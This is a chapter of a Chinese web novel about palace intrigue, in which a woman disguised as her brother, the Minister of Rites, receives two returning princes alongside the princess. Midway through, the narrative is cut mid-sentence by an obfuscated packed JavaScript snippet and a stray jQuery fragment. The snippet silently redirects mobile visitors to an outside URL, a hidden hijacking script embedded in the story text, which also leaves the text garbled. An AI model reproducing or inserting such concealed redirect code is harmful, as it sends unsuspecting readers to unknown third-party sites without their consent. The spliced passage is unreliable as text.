礼部紧赶慢赶最后还是在皇帝寿辰前几天赶上更换了所有流程,首当其冲的就是孟清漓与曲征迁两人。
这两人连续熬了好几天才将原先的仪注安排重新撰写提交了上去,在这期间安排好了一系列事务。
于是两人带着满身的疲惫带着白少阮,陪着燕冠音一起迎接两位王爷。
“臣礼部尚书孟慧泽协礼部官员,见过湘王、见过王妃。”
湘王燕政佑对着在他面前跪下来的那一片乌泱泱的人群,挥了挥手,转头笑盈盈的走到燕冠音的面前,对她作揖行礼:“皇姐,好久不见。”
“弟弟舟车劳顿辛苦了。”燕冠音一手一个扶起了眼前行礼的这两位,“听闻弟弟喜添麟儿,按理来说我这个做姐姐的理应前去封地祝贺弟弟才是,但是前段时间孩子身体不适也就给耽搁下来了。”
孟清漓与曲征迁静悄悄的低着头站在燕冠音身后,听着前面两个人的寒暄,曲征迁忍不住的问道:“大人,怎么只有湘王一人,雍王殿下怎么现在还没有消息递进来。”
“再等等,毕竟雍王也算是长辈,等等也是应该的。”孟清漓今儿的脾气格外好,甚至都比平时多了一些耐心。
“您今儿是怎么了?脾气这样的好,今儿早上不还说自己这两天累坏了吗?”曲征迁也拿捏不住孟清漓这突然间的转变,“不过话说回来也是,殿下也在这里等着,咱们又哪有先行离开的权利。”
孟清漓却轻笑了一声,悄悄的将头靠近曲征迁那边,小声说着:“殿下待会儿就走了,她才不会呆在这里等。”
这几句话刚说出口,吓得曲征迁连忙想要去捂住对方的嘴巴:“大人您忙疯了吧?这话也是能说的出口的?”
“又不是什么大逆不道的话,有什么说不了的?”孟清漓反应并没有像曲征迁那般激烈,“你去瞧瞧白少阮安排的如何,两位王爷此行都跟着不少的随行官员,让他注意些别安排混了。”
“是,下官这就去。”曲征迁听从了孟清漓的吩咐转头去找白少阮。
这边还在继续寒暄着的燕冠音此时也完成了自己的任务,正准备找个什么理由与燕政佑一起离开此地。
燕政佑甚至都没来得及走,便有人立刻前来通传道:“殿下,雍王殿下也到了,距城门已不足十里。”
燕政佑下意识的转头看向一旁的燕冠音,吞了吞口水:“皇姐......皇姐并未提起皇叔也是今日进京?”
燕冠音干笑了两声,模模糊糊的答道:“是啊,好突然啊,许是底下官员忙忘了,这才安排错了吧。”
燕冠音就这样干脆利落的将锅扣在了底下官员的头上,燕政佑看似随意的环视了一圈随行京城官员,笑了笑:“还请皇姐派人将王妃与孩子先送回王府,弟弟在这里与皇姐一起恭迎皇叔。”
“听你的。”燕冠音为保万无一失,直接将洛菱叫到身边安排她亲自保护王妃与世子的安危,“务必将人送回湘王在京城的王府中,再去禀报陛下,一定要好生看顾。”
于是这俩姐弟就这么坐在车架中开始细细的谈论着分别这么些年两人、两地的变化,“弹指一挥间,竟然已经十年了,这么多年都没有见面,就连陛下也时常念着你。”
“不过好在你是个有福气的,如今也有了孩子,封地也是呈欣欣向荣之态,姐姐真心为你感到高兴。”
“论说有福气,何人能比得上姐姐呢?“燕政佑脸上的笑意直达眼底,亲热的牵起燕冠音的手,“姐姐也有了封号,陛下在京中赐了府邸。婚后与驸马夫妻和顺,琴瑟和鸣,是多少女子都祈求不来的好姻缘。”
说到这里,燕政佑像是才想起什么似的,一脸好奇的问道:“怎的今日不见驸马陪着姐姐?是不够格?还是姐姐与驸马吵架斗嘴了?”
“他死了。”燕冠音像个没事人一样又将此事重新复述了一遍,“在我刚发现怀有身孕的那段时间,他有天出门遇到了意外,回来时就是一具冰冷的尸体了。”
“那真是太不幸了。”燕政佑忍不住叹息道,“那么年轻,甚至都来不及见孩子一面,可惜啊可惜。”
“是啊,太可惜了。”燕冠音再次提起时眼里也并没有多少心痛的神色,似乎是早已经接受了现实。
“孟女官呢?记得先前孟女官与姐姐可是形影不离,默契至极呢。”
无意间被点名的孟清漓双手也忍不住冒出了冷汗,将头不自觉的又低了些,活脱脱像个鹌鹑。
“这几日孟家突遭变故,侯府又整修了祠堂,我这个主子也好几天没见到她了。”燕冠音就这样当着当事人的面一本正经的猜测着孟清漓可能存在的动机。
“姐姐不说我都忘记了,听闻侯府那几位把自己那几位亲叔叔的家给抄了。大义灭亲能做到这个地步也实属鲜见,不过也算是忠心可嘉。”燕政佑哪壶不开提哪壶,似是要将这件事情好好的说道说道,“诶?孟尚书可在此?”
孟清漓深吸了一口气,确保不会让旁人看出什么端倪,随后缓缓上前:“礼部尚书孟慧泽参见湘王殿下,参见长公主。”
侍从掀开车架前方的帘子,燕政佑顺着掀开的那部分车帘往外看去,只看到一个瘦小的身影在地上跪着。
“起来吧。”燕政佑看了一眼岿然不动的燕冠音,随后出声免了孟清漓的礼仪,“听闻你是孟女官的同胞弟弟,先前本王还在京城的时候便见过你几面,如今倒成为了三品大员,还真是让人意外啊。”
“劳王爷牵挂,承蒙陛下不弃,下官不过是个蠢人也是深受皇家恩惠。”孟清漓站起身依旧是低着头,恭恭敬敬的回应着湘王的话。
“抬头,我瞧瞧。”湘王显然对面前这个童年的玩伴产生着浓厚的兴趣,“这么多年过去了,本王也是很想念你们几兄妹的。”
孟清漓微微抬头,依旧是不敢直视燕政佑的眼睛,生怕这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598846|203757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个与他们一同长起来的王爷看出些什么。
她的双手在袖子里紧张的攥紧,他可以模仿出孟慧泽的外表,但是一些只有他本人才会有的小习惯,孟清漓一定是会露出些破绽的。
额头上豆大的汗水顺着她的侧脸缓缓流下,在下巴凝结片刻后掉落在地上。时间在悄悄流失,对孟清漓来说每一秒的沉默都是对她的审判。
“你变了好多,整个人瘦了,声音也变了。”湘王感叹着,并且还点出来孟慧泽身上几处明显的变动,“十年还真的是弹指一挥间,竟然连本王都认不出曾经这些玩伴了。”
燕政佑偏头看向在身旁坐着的燕冠音,这句话好似是对着她说的。
“是啊,别说是他了,就连你我的改变都是如此的巨大,之前的孩童如今都渐渐的成家立业,真是不似当年般轻松了。”
“有得必有失,若是什么都想要,为免也太贪心了些了。”燕政佑似乎是对孟家的好奇程度到此为止了,挥了挥手便让孟清漓退了下去。
此事也就到此为止了。
半个时辰后,雍王燕炽的车架终于出现在了两人眼前,燕冠音即便是再不想看到她的这位好皇叔刺客也不得不收拾收拾心情准备迎接。
“皇叔叫人好等,怎的来的这样晚?”燕冠音笑盈盈的说着,在尽力与燕炽演着家庭和睦的戏码。
“皇叔,许久未见皇叔,不知近来可好?”燕政佑也紧跟着孟清漓问候着他的这位叔叔。
“有几位侄儿挂念,皇叔的日子自然是过得舒心踏实。”燕炽脸上也是虚假的笑意,“陛下生辰,两位侄儿又新添了世子与郡主,皇叔又怎么不来凑这个热闹呢。陛下应当不会怪我非要进京赴宴吧?”
燕炽明知故问,还赤裸裸的将皇帝未邀请他的事情摆到了明面上。
“怎么会。”燕冠音主动解释着,“皇叔是长辈,自古以来孝道为先,我们这些做晚辈的又怎么会将皇叔排除在外呢。”
燕冠音说的话燕政佑差点都给相信了,若是他刚才跟着王妃直接回府,或许他真的会相信他这个姐姐说的这些话术。
“陛下在哪?君臣有别,身为臣子还是要先去见过陛下才合乎礼仪。”燕炽此番前来的目的太过明显,也不怨燕冠音会对他产生怀疑。
“陛下今日在忙正事,怕是不大有时间能见皇叔了。”燕冠音想都没想直接拒绝了,“皇叔舟车劳顿,不如先回府邸歇息,沐浴更衣洗掉一身的疲惫,再去觐见陛下岂不更好?”
“侄儿有心了。”燕炽并没有想象中那么坚定,反而是迅速转换了策略,听从着燕冠音的安排。
今日的重头戏也随着雍王的到来而落下帷幕。
不知是不是巧合,雍王在路过孟清漓的时候,眼神也不自觉上下打量着她,这样赤裸裸的眼神让孟清漓的动作不自觉的僵硬起来。
雍王莫是发现了什么?或是他真的曾经做过什么?